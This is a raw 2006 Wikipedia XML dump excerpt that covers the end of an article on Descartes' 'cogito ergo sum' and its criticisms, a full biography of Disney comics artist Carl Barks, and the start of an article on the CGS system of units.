The phrase &quot;''cogito ergo sum''&quot; is not used in Descartes' most important work, the ''[[Meditations on First Philosophy]]'', but the term &quot;the ''cogito''&quot; is (often confusingly) used to refer to it.  Descartes felt that this phrase, which he had used in his earlier ''[[Discourse]]'', had been misleading in its implication that he was appealing to an inference, so he changed it to &quot;I am, I exist&quot; (also often called &quot;the first certainty&quot;) in order to avoid the term &quot;''cogito''&quot;.

At the beginning of the second meditation, having reached what he considers to be the ultimate level of doubt &amp;ndash; his argument from the existence of a deceiving god &amp;ndash; Descartes examines his beliefs to see if any has survived the doubt. In his belief in his own existence he finds it: it is impossible to doubt that he exists.  Even if there were a deceiving god (or an evil demon, the tool he uses to stop himself sliding back into ungrounded beliefs), his belief in his own existence would be secure, for how could he be deceived unless he existed in order to be deceived?

:&quot;But I have convinced myself that there is absolutely nothing in the world, no sky, no earth, no minds, no bodies.  Does it now follow that I too do not exist? No: if I convinced myself of something [or thought anything at all] then I certainly existed. But there is a deceiver of supreme power and cunning who is deliberately and constantly deceiving me.  In that case I too undoubtedly exist, if he is deceiving me; and let him deceive me as much as he can, he will never bring it about that I am nothing so long as I think that I am something.  So, after considering everything very thoroughly, I must finally conclude that the proposition, ''I am, I exist,'' is necessarily true whenever it is put forward by me or conceived in my mind.&quot; (AT VII 25; CSM II 16&amp;ndash;17)

There are two important notes to keep in mind here.  First, he only claims the certainty of ''his own'' existence from the first-person point of view &amp;mdash; he has not proved the existence of other minds at this point.  This is something that has to be thought through by each of us for ourselves, as we follow the course of the meditations.  Secondly, he is not saying that his existence is necessary; he is saying that ''if he's thinking'', then he necessarily exists (see the [[instantiation principle]]).

Descartes does not use this first certainty, the ''cogito'', as a foundation upon which to build further knowledge; rather, it is the firm ground upon which he can stand as he works to restore his beliefs.  As he puts it:

:&quot;Archimedes used to demand just one firm and immovable point in order to shift the entire earth; so I too can hope for great things if I manage to find just one thing, however slight, that is certain and unshakeable.&quot; (AT VII 24; CSM II 16)

Perhaps what Descartes meant, simply put is &quot;I am vividly aware of my existence&quot;.

== Common errors ==
Some non-philosophers who first come across the ''cogito'' attempt to refute it in the following way. &quot;I think, therefore I exist,&quot; they argue, can be reversed as &quot;I do not think, therefore I do not exist.&quot;  They argue that a rock does not think, but it still exists, which disproves Descartes' argument. However, this is the [[logical fallacy]] of [[denying the antecedent]]. The correct corollary by [[modus tollens]] is &quot;I do not exist, therefore I do not think.&quot;

This fallacy and its prevalence is illustrated by the popular joke:
: Descartes is sitting in a bar, having a drink. The bartender asks him if he would like another. &quot;I think not,&quot; he says, and vanishes in a puff of logic.

==Criticisms of the ''cogito''==
There have been a number of criticisms of the ''cogito''. The first of the two under scrutiny here concerns the nature of the step from &quot;I am thinking&quot; to &quot;I exist&quot;. The contention is that this is a [[syllogism|syllogistic]] inference, for it appears to require the extra [[premise]]: &quot;Whatever has the property of thinking, exists&quot;, and that extra premise must surely have been rejected at an earlier stage of the doubt.

It could be argued that &quot;Whatever has the property of thinking, exists&quot; is self-evident, and thus not subject to the method of doubt. This is because it is true that any premise of the form: &quot;Whatever has the property ''F'', exists&quot;, but within the method of doubt, only the property of thinking is indubitably a property of the meditator.  Descartes does not make use of this defence, however; as we have already seen, he responds to the criticism by conceding that there would indeed be an extra premise needed, but denying that the ''cogito'' is a syllogism.

Perhaps a more relevant contention is whether the 'I' to which Descartes refers is justified. In ''Descartes, The Project of Pure Enquiry'' [[Bernard Williams]] provides a history and full evaluation of this issue.  The main objection, as presented by [[Georg Christoph Lichtenberg|Georg Lichtenberg]], is that rather than supposing an entity that is thinking, Descartes should have just said: &quot;there is some thinking going on&quot;. That is, whatever the force of the ''cogito'', Descartes draws too much from it; the existence of a thinking thing, the reference of the &quot;I&quot;, is more than the ''cogito'' can justify.

Williams provides a meticulous and exhaustive examination of this objection.  He argues, first, that it is impossible to make sense of &quot;there is thinking&quot; without relativising it to ''something''.  It seems at first as though this ''something'' needn't be a thinker, the &quot;I&quot;, but Williams goes through each of the possibilities, demonstrating that none of them can do the job.  He concludes that Descartes is justified in his formulation (though possibly without realising why that was so).

=== Williams's argument ===
Whilst the preceding two arguments against the ''cogito'' fail, other arguments have been advanced by Williams. He claims, for example, that what we are dealing with when we talk of thought, or when we say &quot;I am thinking&quot;, is something conceivable from a [[Grammatical person|third-person]] perspective; namely objective &quot;thought-events&quot; in the former case, and an [[objective]] thinker in the latter. 
The obvious problem is that, through [[introspection]], or our experience of [[consciousness]], we have no way of moving to conclude the existence of any third-personal fact, [[verification]] of which would require a thought necessarily impossible, being, as Descartes is, bound to the evidence of his own consciousness alone.

==References==
*Quotations from Descartes' work use the standard form: first a reference to the twelve-volume edition of Descartes' works by Adam and Tannery (abbreviated &quot;AT&quot;), followed by a reference to the three-volume English edition translated by John Cottingham, Robert Stoothoff, Dugald Murdoch, and (in vol. III) Anthony Kenny (abbreviated &quot;CSM&quot; for volumes I and II, &quot;CSMK&quot; for volume III).

==Further reading==
* W.E. Abraham, &quot;Disentangling the Cogito&quot;, ''Mind'' 83:329 (1974)
* Z. Boufoy-Bastick, &quot;[http://zach.securitymeltdown.com/papers/Attainable-Knowledge-Boufoy-Bastick,Z.pdf Introducing 'Applicable Knowledge' as a Challenge to the Attainment of Absolute Knowledge]&quot;, ''Sophia Journal of Philosophy'', VIII (2005), pp 39&amp;ndash;52.
* R. Descartes (translated by John Cottingham), ''Meditations on First Philosophy'', in ''The Philosophical Writings of Descartes'' vol. II (edited Cottngham, Stoothoff, and Murdoch; Cambridge University Press, 1984) ISBN 0-521-28808-9
* G. Hatfield, ''Routledge Philosophy Guidebook to Descartes and the Meditations'' (Routledge, 2003)
* B. Williams, ''Descartes, The Project of Pure Enquiry'' (Penguin, 1978)

==External links==
* [http://www.framingbusiness.net/descarteslanguage.htm Descartes and Language: What is the Cogito?]

[[Category:Epistemology]]
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&lt;!--[[de:Cogito ergo sum]]--&gt;&lt;!-- Ich denke, also bin ich. --&gt;

[[de:Cogito ergo sum]]
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[[zh:我思故我在]]</text>
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  </page>
  <page>
    <title>Carl Barks</title>
    <id>7345</id>
    <revision>
      <id>41633537</id>
      <timestamp>2006-02-28T17:52:20Z</timestamp>
      <contributor>
        <ip>4.19.78.126</ip>
      </contributor>
      <text xml:space="preserve">[[Image:CarlBarksWithDuck.jpg|thumb|300px|Carl Barks in 1942]]

'''Carl Barks''' ([[March 27]], [[1901]] &amp;ndash; [[August 25]], [[2000]]) was a famous [[The Walt Disney Company|Disney Studio]] illustrator and [[comic book]] creator, who invented [[Duckburg]] and many of its inhabitants, such as [[Scrooge McDuck]] (1947), [[Gladstone Gander]] (1948), the [[Beagle Boys]] (1951) and [[Gyro Gearloose]] (1952). The quality of his scripts and drawings earned him the nick names ''The Duck Man'' and ''The Good Duck Artist''. He has been called the [[Hans Christian Andersen]] of the 20th century. 

==Biography==
Barks was born in [[Merrill, Oregon]] to William Barks and his wife Arminta Johnson. He had an older brother named Clyde.  His paternal grandfather was named David Barks and his maternal grandparents were Carl Johnson and his wife Suzanna Massey, but little else is known about his ancestors.

===Childhood===
According to Carl's description of his childhood, he was a rather lonely child. His parents owned one square mile (2.6&amp;nbsp;km&amp;sup2;) of land that served as their farm. The nearest neighbor lived half a mile (800 m) away, but he was more an acquaintance to Barks' parents than a friend. The closest school was about two miles (3 km) away and Carl had to walk that distance every day. The rural area had few children, though, and Barks later remembered that his school had only about eight or ten students including him.

The lessons lasted from nine o'clock in the morning to four o'clock in the afternoon and then he had to return to the farm. There he remembered not having anybody to talk to, as his parents were busy and he had little in common with his brother.

In 1908, William Barks (in an attempt to increase the family income) moved with his family to [[Midland, Oregon]], some miles north of Merril, to be closer to the railway lines that were new at the time. He established a new stock-breeding farm and sold his produce to the local slaughterhouses.

Nine-year-old Clyde and seven-year-old Carl worked long hours there. But Carl later remembered that the crowd which gathered at Midland's market place made a strong impression on him. This was expected, as he wasn't used to crowds up until then. According to Carl, his attention was mostly drawn to the [[cowboy]]s that frequented the market with their [[revolver]]s, strange nicknames for each other and sense of humor.

By 1911, they had been successful enough to move to [[Santa Rosa, California]]. There they started cultivating vegetables and set up some orchards. Unfortunately, the profits were not as high as William expected and they started having financial difficulties. William's anxiety over them was probably what caused his first nervous break down.

As soon as William recovered, he made the decision to move back to Merrill. The year was 1913, and Carl was already twelve years old; but, due to the constant moving, he had not yet managed to complete grade school. He resumed his education at this point and finally managed to graduate in 1916.

1916 served as a turning point in Carl's life for various reasons. First, Arminta, his mother, died in this year. Secondly, his hearing problems, which had already appeared earlier, had at the time become severe enough for him to have difficulties listening to his teachers talking. His hearing would continue to get worse later, but at that point he had not yet acquired a hearing aid. Later in life, he couldn't do without one. Third, the closest high school to their farm was five miles (8 km) away and even if he did enlist in it, his bad hearing was likely to contribute to his learning problems. He had to decide to stop his school education, much to his disappointment. At the time he was a rather shy, melancholic, introverted and gangly teenager. He wouldn't be much different later in life.

===From job to job===
Barks started taking various jobs but had little success in such occupations as a farmer, woodcutter, turner, mule driver, cowboy and printer. At the same time he interacted with colleagues, fellow breadwinners who had satirical disposition towards even their worst troubles. Carl later said he was sure that if not for a little humor in their troubled lives, they would certainly go insane. It was an attitude towards life that Carl would adopt. Later he would say it was natural for him to satirize the secret yearnings and desires, the pompous style and the disappointments of his characters. According to Carl this period of his life would later influence his best known [[fictional character]]s: [[Donald Duck]] and [[Scrooge McDuck]].

Donald's drifting from job to job was reportedly inspired by Carl's own experiences. So was his usual lack of success. And even in those that he was successful this would be temporary, just until a mistake or chance event caused another failure, another disappointment for the frustrated duck. Carl also reported that this was another thing he was familiar with.

Scrooge's main difference to Donald, according to Carl, was that he too had faced the same difficulties in his past but through intelligence, determination and hard work, he was able to overcome them. Or as Scrooge himself would say to [[Huey, Dewey and Louie]]: by being &quot;tougher than the toughies and sharper than the sharpies.&quot; Even in the present of his stories Scrooge would work to solve his many problems, even though the stories would often point out that his constant efforts seemed futile at the end. In addition, Scrooge was quite similar to his creator in appearing often to be as melancholic, introspective and secretive as he was.

Through both characters Carl would often exhibit his rather sarcastic sense of humor. It seems that this difficult period for the artist helped shape many of his later views in life that were expressed through his characters.

===Professional artist===
At the same time Carl had started thinking about turning a hobby that he always enjoyed into a profession: that of drawing. Since his early childhood he spent his free time by drawing on any material he could find. He had attempted to improve his style by copying the drawings of his favorite [[comic strip]] artists from the newspapers where he could find them. As he later said, he wanted to create his own facial expressions, figures and comical situations in his drawings but wanted to study the master comic artists' use of the pen and their use of color and shading.

Among his early favorites were [[Winsor McCay]] (mostly known for ''[[Little Nemo]]'') and [[Frederick Burr Opper]] (mostly known for ''[[Happy Hooligan]]'') but he would later study any style that managed to draw his attention.

At sixteen he was mostly self-taught but at this point he decided to take some lessons through correspondence. He only followed the first four lessons and then had to stop because his working left him with little free time. But as he later said, the lessons proved very useful in improving his style.

By December 1918, he left his father's home to attempt to find a job in [[San Francisco, California]]. He worked for a while in a small publishing house while attempting to sell his drawings to newspapers and other printed material with little success.

===First marriage===
While he continued drifting through various jobs, he met Pearle Turner (1904 to 1987). In 1921 they married and had two children:
*Peggy Barks, born in 1923.
*Dorothy Barks, born in 1924.

In 1923 he returned to his paternal farm in Merrill in an attempt to return to the life of a farmer, but that ended soon. He continued searching for a job while attempting to sell his drawings. He soon managed to sell some of them to &quot;Judge&quot; magazine and then started a longtime collaboration with &quot;Calgary-Eye-Opener&quot;. It lasted virtually till 1935 though he occasionally sold his works to other magazines as well. By that time he edited, scripted and drew most of the material of this humorous magazine. His salary set at 90 dollars a month was considered respectable enough for the time.

Meanwhile he had his first divorce. He and Pearle were separated in 1929 and divorced in 1930. He moved to [[Minneapolis, Minnesota]] where &quot;Calgary-Eye-Opener&quot; had its offices and there he met Clara Balken who in 1938 became his second wife.

===Disney===
In November 1935, when he learned that [[Walt Disney]] was seeking more artists for his Studio, Carl decided to apply. He was approved for a try-out which entailed a move to [[Los Angeles, California]]. Carl was one of two in his class of trainees who was hired. His starting salary was 20 dollars a week. He started at Disney Studios in 1935, more than a year after the debut of [[Donald Duck]] on [[June 9]], [[1934]] in the short ''[[The Wise Little Hen]]''. 

Carl initially worked as an &quot;inbetweener&quot;. This involved being teamed and supervised by one of the head animators who did the key poses of character action (often known as extremes) for which the inbetweeners did the drawings between the extremes to provide smoothness to the illusion of movement. While an inbetweener, Carl submitted gag ideas for cartoon storylines being developed and showed such a knack for creating comical situations that by 1936 he was transferred to the story department. 

In 1937 when Donald Duck became the star of his own series of cartoons instead of co-starring with [[Mickey Mouse]] and [[Goofy]] as previously, a new unit of storymen and animators was created devoted solely to this series. Though he originally just contributed gag ideas to some duck cartoons by 1937 Barks was (principally with partner Jack Hannah) originating story ideas that were storyboarded and (if approved by Walt) put into production. He collaborated on such cartoons as ''[[Donald's Nephews]]'' (1938), ''[[Donald's Cousin Gus]]'' (1939), ''[[Timber]]'' (1941), ''[[The Vanishing Private]]'' (1942) and ''[[The Plastics Inventor]]'' (1944).

===The Good Duck Artist===
Unhappy at the emerging wartime working conditions at Disney plus bothered by ongoing sinus problems caused by the studio's air conditioning, Barks quit in 1942.  Shortly before quitting, he moonlighted as a comic book artist, contributing half the artwork for a one-shot [[comic book]] (the other half of the art being done by story partner [[Jack Hannah]]) titled ''[[Donald Duck Finds Pirate Gold]]''. This 64 page story was adapted by Donald Duck comic strip writer [[Bob Karp]] from an unproduced feature, and published in October 1942. It was the first Donald Duck story originally produced for an American comic book and also the first involving Donald and his nephews in a treasure hunting expedition, in this case for the treasure of [[Henry Morgan]]. Barks would later use the treasure hunting theme in many of his stories.

After quitting the Studio, Barks relocated to the [[Hemet, California]]/[[San Jacinto, California]] area in the semi-desert inland empire region east of Los Angeles where he hoped to start a chicken farm. But to earn a living in the meantime he inquired whether [[Western Publishing]], which had published Pirate Gold, had any need for artists for Donald Duck comic book stories. He was immediately assigned to illustrate the script for a 10 page Donald Duck story for the monthly [[Walt Disney's Comics and Stories]]. At the publisher's invitation he revised the storyline and the improvements impressed the editor sufficently to invite Barks try his hand at contributing both the script and the artwork of his follow-up story. This set the pattern for Barks' career in that (with rare exceptions) he provided art (pencil, inking, solid blacks and lettering) and scripting for his stories. 

''[[The Victory Garden (comic book) | The Victory Garden]]'', that initial 10 page story published in April, 1943 was the first of about 500 stories featuring the Disney ducks Barks would produce for Western Publishing over the next three decades, well into his purported retirement. These can be mostly divided into two categories:

*10 pagers, comedic Donald Duck stories that were the lead for the monthly flagship title Walt Disney's Comics and Stories (whose circulation peaked in the mid-50s at 3 million copies sold a month!)  

*Humorous adventure stories, usually of 24-32 pages in length. In the 1940s these were one shots in the [[Four Color]] series (issued 4-6 times a year) that starred Donald and his nephews. From the early 50's Barks undertook the quarterly adventures of Uncle Scrooge and the duck clan in Scrooge's own title.

He surrounded Donald Duck with a cast of eccentric and colorful characters such as the aforementioned [[Scrooge McDuck]]&amp;mdash;the wealthiest [[duck]] in the world, [[Gladstone Gander]]&amp;mdash;Donald's obscenely lucky cousin, inventor [[Gyro Gearloose]], the persistent [[Beagle Boys]], the sorceress [[Magica De Spell]], and [[The Junior Woodchucks]] organization.

People who work for Disney generally do so in relative anonymity; the stories only carry [[Walt Disney]]'s name and (sometimes) a short identification number. However, through the sheer quality of his work, people started realizing that a lot of the stories were written by one person, whom they started referring to as the Good Duck Artist. Later it was discovered that the Good Duck Artist went by the name of Carl Barks.

Barks' stories (whether humorous adventures or domestic comedies) often exhibited a wry, dark irony born of hard experience. The 10 pagers showcased Donald as everyman, struggling against the cruel bumps and bruises of everyday life with the nephews often acting as a greek chorus commenting on the unfolding disasters Donald wrought upon himself. Yet while seemingly defeatist in tone the humanity of the characters shines through in their persistence despite the obstacles. These stories found popularity not only among young children but adults as well.  Despite the fact that Barks had done little traveling his stories often had the duck clan globetrotting to the most remote or spectacular of locations. This allowed Barks to indulge his penchant for elaborate backgrounds that hinted at his thwarted ambitions of doing realistic stories in the vein of Harold Foster's [[Prince Valiant]]. The stories themselves also traveled around the globe - the [[Duckburg]] stories in particular went down well in [[Germany]] where the translator [[Erika Fuchs]] achieved a masterpiece, coining popular new [[German language|German]] phrases.

===Third marriage===
As Barks blossomed creatively, his marriage to Clara deteriorated (this is the period referred to in Barks' famed quip that he could feel his creative juices flowing while the whiskey bottles hurled at him by a tipsy Clara flew by his head) and they were divorced in 1951. It was his second and last divorce. In this period Barks dabbled in fine art, exhibiting paintings at local art shows. It was at one of these in 1952 he became acquainted with fellow exhibitor Margaret Wynnfred Williams (1917 to [[March 10]], [[1993]]), nicknamed Garé, a landscape artist. She soon started helping him, handling the solid blacks and lettering (both of which Barks had found onerous). They married in 1954 and their marriage lasted till her death.

===Later Life===
Carl Barks retired in 1966 but was persuaded by editor Chase Craig to script stories for Western. He wrote one Uncle Scrooge story, three Donald Duck stories and from 1970-1974 was the main writer for the [[Junior Woodchucks]] comic book (issues 6 thru 25). The latter included environmental themes that Barks first explored in 1957 [&quot;Land of the Pygmy Indians&quot;, Uncle Scrooge #18]. Barks also sold a few sketches to Western that were redrawn as covers. For a time they lived in [[Goleta]] near [[Santa Barbara, California]] before returning to the inland empire by moving to [[Temecula]]. 

With permission from Disney he began producing oil paintings of scenes from his stories.  These paintings quickly became highly sought after and their price rocketed much to Barks' astonishment.

In 1976 Carl and Gare attended their first comic book convention, New Con in Boston. Among the other attendees was famed [[Little Lulu]] comic book scripter John Stanley; despite both having worked for [[Western Publishing]] this was the first time they met. The highlight of the convention was the auctioning of what was to that time the largest duck oil painting Barks had done, &quot;The Fourth of July in Duckburg&quot;, which included depictions of several prominent Barks fans and collectors. It sold for a then record high amount: $6,400.

Soon thereafter a fan sold unauthorized prints of some of the [[Scrooge McDuck]] paintings, leading Disney to withdrew permission for further paintings. To meet demand for new work Barks embarked on a series of paintings of non-Disney ducks and fantasy subjects such as Beowulf and Xerxes. These were eventually collected in the limited-edition book Animal Quakers.

As the result of heroic efforts by [[Star Wars]] producer [[Gary Kurtz]] and screenwriter [[Edward Summer]], Disney relented and in 1981, allowed Barks to do a now seminal oil painting called &quot;Wanderers of Wonderlands&quot; for a breakthrough limited edition book entitled &quot;[[Uncle Scrooge McDuck: His Life and Times]].&quot;  After being turned down by every major publisher in New York City, Kurtz and Summer published the book through [[Celestial Arts]] which Kurtz acquired partly for this purpose. The book went on to become the model for virtually every important collection of comic book stories. It was the first book of its kind ever reviewed in [[Time Magazine]] and subsequently in [[Newsweek]], and the first book review in [[Time Magazine]] with large color illustrations.

In 1977 and 1982 Barks attended the legendary San Diego Comic Con. As with his appearance in Boston, the response to his presence was overwhelming, with long lines of fans waiting to meet Barks and get his autograph.

In this period Disney also licensed a series of art prints of Barks' duck paintings released by Another Rainbow, which also produced a 30 volume hardbound Carl Barks Library including all the stories (in black and white) with accompanying scholarly commentary. Barks relocated one last time to [[Grants Pass, Oregon]] near where he grew up, partly at the urging of friend and ''[[Broom Hilda]]'' artist [[Russell Myers]] who lives in the area. The move also was motivated, Barks stated in another famous quip, by Temelcula being too close to Disneyland and thus facilitating a growing torrent of drop-in visits by vacationing fans. In this period Barks made only one public appearance, at a comic book shop near Grants Pass.

From 1993-1998 the Carl Barks Studio guided Barks' career. This involved numerous projects and activities, including a tour of 11 European countries in 1994, appearances at several Disneyana conventions and the release of prints of paintings along with high-end art objects (such as tiles and statutes) based on designs by Barks. Tensions between Barks and the Studio eventually resulted in a lawsuit that was settled with an agreement that included the disbanding of the Studio. By this time Barks had ceased drawing and declared his chief activity thereafter would be watching football on TV.

==Final Days==
Still living in a new home in Grants Pass, Oregon which he and Gare had built next door to their original home, Barks died in 2000 at the age of 99 just a few months short of his 100th birthday. 

Although he was undergoing [[chemotherapy]] for [[leukemia]] he was, according to caregiver Serene Hunickle, &quot;funny up to the end.&quot;

==Awards==
He has received a good deal of recognition for his work, including the Shazam Award for Best Writer (Humor Division) in 1970, the Academy of Comic Book Arts Hall of Fame Award in 1973, an Inkpot in 1977 from the [[San Diego Comic Con]] and the [[Comics Buyer's Guide]] Fan Award for Favorite Writer in 1996. The Walt Disney Company bestowed a duckster statute in 1971 and their [[Disney Legends]] award in 1991. The series ''Carl Barks Library'' received the Comics Buyer's Guide Fan Award for Favorite Reprint Graphic Novel/Album for 1996. He was inducted into the [[Eisner Awards]] Hall of Fame in 1987.

==Trivia==
For the opening scene of [[Raiders of the Lost Ark]] [[Steven Spielberg]] and [[George Lucas]] have acknowledged the rolling boulder booby trap was inspired by the 1954 Carl Barks Uncle Scrooge adventure the Seven Cities of Cibola ([[Uncle Scrooge]] #7).

==Notable stories==
*&quot;[[Donald Duck Finds Pirate Gold]]&quot;, ''[[Four Color]]'' #9, October [[1942]]
*&quot;[[Christmas on Bear Mountain]]&quot;, ''Four Color'' #178, December [[1947]], first appearance of [[Scrooge McDuck]].
*&quot;[[The Old Castle's Secret]]&quot;, ''Four Color'' #189 June [[1948]]
*&quot;[[Sheriff of Bullet Valley]]&quot;, ''Four Color'' #199, October 1948
*&quot;[[Lost in the Andes]]&quot;, ''Four Color'' #223, April [[1949]]
*&quot;[[In Old California]]&quot;, ''Four Color'' #328, May [[1951]]
*&quot;[[A Christmas for Shacktown]]&quot;, ''Four Color'' #367, January [[1952]]
*&quot;[[Only A Poor Old Man]]&quot;, ''Four Color'' #386 (''[[Uncle Scrooge]]'' #1), March 1952
*&quot;[[The Golden Helmet]]&quot;, ''Four Color'' #408, July 1952
*&quot;[[Back to the Klondike]]&quot;, ''Four Color'' #456 (''Uncle Scrooge'' #2), March [[1953]]
*&quot;[[Tralla La]]&quot;, ''Uncle Scrooge'' #6, June [[1954]]
*&quot;[[The Fabolous Philosopher's Stone]]&quot;, ''Uncle Scrooge'' #10, June [[1955]]
*&quot;[[The Golden Fleecing]]&quot;, ''Uncle Scrooge'' #12, December 1955
*&quot;[[The Money Well]]&quot;, ''Uncle Scrooge'' #21, March [[1958]]
*&quot;[[Island in the Sky (cartoon)|Island in the Sky]]&quot;, ''Uncle Scrooge'' #29, March [[1960]]
*&quot;[[North of the Yukon]]&quot;, ''Uncle Scrooge'' #59, September [[1965]]

==External links==
*[http://www.cbarks.dk cbarks.dk]
*[http://moneybin.at.infoseek.co.jp/ Carl Barks - his life and his work]
*[http://www.barksbase.de/ The HTML Barks base]
*[http://www.donald.org Homepage of D.O.N.A.L.D]
*http://stp.ling.uu.se/~starback/dcml/creators/carl-barks.html
*http://www.geocities.com/~jimlowe/barks/barksdex.html
*http://moneybin.at.infoseek.co.jp
*[http://coa.inducks.org/creator.php/x/CB Barks' profile on the COA webpage]
*[http://boards.ancestry.com/mbexec/message/an/surnames.Barks/112.1 Short listing of parentage]
*[http://www.toonopedia.com/hooligan.htm A profile of Happy Hooligan, an influential comic strip for him]
*[http://www.cbarks.dk/THETIMELINE.htm A timeline of his life]
*[http://www.michaelbarrier.com/Essays/Barks/essay_barks.htm biographer Michael Barrier on the 100th anniversary of Barks' birth]

[[Category:1901 births|Barks, Carl]]
[[Category:2000 deaths|Barks, Carl]]
[[Category:American cartoonists|Barks, Carl]]
[[Category:American comics artists|Barks, Carl]]
[[Category:American illustrators|Barks, Carl]]
[[Category:Disney Legends|Barks, Carl]]
[[Category:Disney people|Barks, Carl]]
[[Category:Donald Duck|Barks, Carl]]
[[Category:Eisner Award winners|Barks, Carl]]
[[Category:People from Oregon|Barks, Carl]]

[[da:Carl Barks]]
[[de:Carl Barks]]
[[es:Carl Barks]]
[[fr:Carl Barks]]
[[it:Carl Barks]]
[[lb:Carl Barks]]
[[hu:Carl Barks]]
[[nl:Carl Barks]]
[[no:Carl Barks]]
[[nn:Carl Barks]]
[[pl:Carl Barks]]
[[pt:Carl Barks]]
[[fi:Carl Barks]]
[[sv:Carl Barks]]</text>
    </revision>
  </page>
  <page>
    <title>Centimetre gram second system of units</title>
    <id>7346</id>
    <revision>
      <id>40107681</id>
      <timestamp>2006-02-18T04:38:20Z</timestamp>
      <contributor>
        <username>LN2</username>
        <id>739697</id>
      </contributor>
      <comment>the given information is incomplete compared to standard textbooks on electrodynamics</comment>
      <text xml:space="preserve">{{Expert}}
The '''centimetre-gram-second system''' ('''CGS''') is a system of [[units of measurement|physical units]]. It is always the same for mechanical units, but there are several variants of electric additions.

{| class=&quot;wikitable&quot;
|+ Mechanical CGS units
! Dimension
! Unit !! Definition !! SI
|-
! [[length]]
| [[centimetre]] || 1 cm || = 10&lt;sup&gt;−2&lt;/sup&gt; m
|-
! [[mass]]
| [[gram]]  || 1 g || = 10&lt;sup&gt;−3&lt;/sup&gt; kg
|-
! [[time]]
| [[second]]||colspan=&quot;2&quot;| 1 s
|-
! [[force (physics)|force]]
| [[dyne]]  || 1 dyn = 1 g·cm/s² || = 10&lt;sup&gt;−5&lt;/sup&gt; [[newton|N]]
|-
! [[energy]]
| [[erg]]   || 1 erg = 1 g·cm²/s² || = 10&lt;sup&gt;−7&lt;/sup&gt; [[joule|J]]
|-
! [[power (physics)|power]]
| erg per second || 1 erg/s = 1 g·cm²/s³ || = 10&lt;sup&gt;−7&lt;/sup&gt; [[watt|W]]
|-
! [[pressure]]
| [[barye]] || 1 Ba = 1 dyn/cm² = 1 g/(cm·s²) || = 10&lt;sup&gt;−1&lt;/sup&gt; [[pascal|Pa]]
|-
! [[viscosity]]
| [[poise]] || 1 P = 1 g/(cm·s) || = 10&lt;sup&gt;−1&lt;/sup&gt; [[pascal second|Pa·s]]
|}

The system goes back to a proposal made in [[1832]] by the German mathematician [[Carl Friedrich Gauss]] and was in [[1874]] extended by the British physicists [[James Clerk Maxwell]] and [[William Thomson, 1st Baron Kelvin|William Thomson]] with a set of electromagnetic units. The sizes (order of magnitude) of many CGS units turned out to be inconvenient for practical purposes, therefore the CGS system never gained wide general use outside the field of electrodynamics and was gradually superseded internationally starting in the [[1880s]] but not to a significant extent until the mid-20th century by the more practical MKS ('''m'''etre-'''k'''ilogram-'''s'''econd) system, which led eventually to the modern [[SI]] standard units.

CGS units are still occasionally encountered in older technical literature, especially in the United States in the fields of [[electrodynamics]] and [[astronomy]]. SI units were chosen such that electromagnetic equations concerning spheres contain 4π, those concerning coils contain 2π and those dealing with straight wires lack π entirely, which was the most convenient choice for electrical-engineering applications. In those fields where formulas concerning spheres dominate (for example, [[astronomy]]), it has been argued that the CGS system can be notationally slightly more convenient.

Starting from the international adoption of the MKS standard in the 1940s and the [[SI]] standard in the 1960s, the technical use of CGS units has gradually disappeared worldwide, in the [[United States]] more slowly than in the rest of the world. CGS units are today no longer accepted by the house styles of most scientific journals, textbook publishers and standards bodies.

The units gram and centimetre remain useful within the [[SI]], especially for instructional physics and chemistry experiments, where they match well the small scales of table-top setups. In these uses, they are occasionally referred to as the system of “LAB” units. However, where derived units are needed, the SI ones are generally used and taught today instead of the CGS ones.

== Electromagnetic units ==

While for most units the difference between cgs and [[SI]] is a mere power of 10, the differences in [[electromagnetism|electromagnetic]] units are considerable; so much so that formulas for physical laws need to be changed depending on what system of units one uses. In SI, [[Current (electricity)|electric current]] is defined via the [[magnetism|magnetic]] force it exerts and [[charge]] is then defined as current multiplied with time. In one variant of the cgs system, '''[[Statcoulomb|electrostatic units]]''' ('''esu'''), charge is defined via the force it exerts on other charges, and current is then defined as charge per time. One consequence of this approach is that [[Coulomb's law|Coulomb’s law]] does not contain a [[constant of proportionality]].

While the proportional constants in cgs simplify theoretical calcuations, they have the disadvantage that the units in cgs are hard to define through experiment.  [[SI]] on the other hand starts with a unit of current, the [[ampere]] which is easy to determine through experiment, but which requires that the constants in the electromagnetic equations take on odd forms.

Ultimately, relating electromagnetic phenomena to time, length and mass relies on the forces observed on charges. There are two fundamental laws in action: [[Coulomb's law|Coulomb’s law]], which describes the electrostatic force between ''charges'', and [[Ampère's law|Ampère’s law]] (also known as the [[Biot-Savart law]]), which describes the electrodynamic (or electromagnetic) force between ''currents''. Each of these includes one [[proportionality constant]], ''k&lt;sub&gt;1&lt;/sub&gt;'' or ''k&lt;sub&gt;2&lt;/sub&gt;''. The static definition of magnetic fields yields a third proportionality constant, ''&amp;alpha;''. The first two constants are related to each other through the [[speed of light]], ''c'' (the ratio of ''k&lt;sub&gt;1&lt;/sub&gt;'' over ''k&lt;sub&gt;2&lt;/sub&gt;'' must equal ''c&lt;sup&gt;2&lt;/sup&gt;'').

We then have several choices:

{| class=&quot;wikitable&quot;
! k&lt;sub&gt;1&lt;/sub&gt; !! k&lt;sub&gt;2&lt;/sub&gt; !! &amp;alpha; !! yields
|-
| 1 || c&lt;sup&gt;−1&lt;/sup&gt; || 1 || electrostatic cgs system
|-
| c&lt;sup&gt;2&lt;/sup&gt; || 1 || 1 || electromagnetic cgs system
|-
| 1 || c&lt;sup&gt;−2&lt;/sup&gt; || c&lt;sup&gt;−1&lt;/sup&gt; || Gaussian cgs system
|-
| (4·π·ε&lt;sub&gt;0&lt;/sub&gt;)&lt;sup&gt;−1&lt;/sup&gt; || µ&lt;sub&gt;0&lt;/sub&gt;·(4·π)&lt;sup&gt;−1&lt;/sup&gt; || 1 || SI
|}
&lt;!-- Here be the mentioned physical laws in independent form
Coulomb: &lt;math&gt;F = k_1 \frac{\left|q_1\right| \left|q_2\right|}{r^2}&lt;/math&gt;
Biot-Savart: &lt;math&gt;\mathbf{B} = k_2 \frac{q \mathbf{v} \times \mathbf{r}}{r^3}&lt;/math&gt;
--&gt;

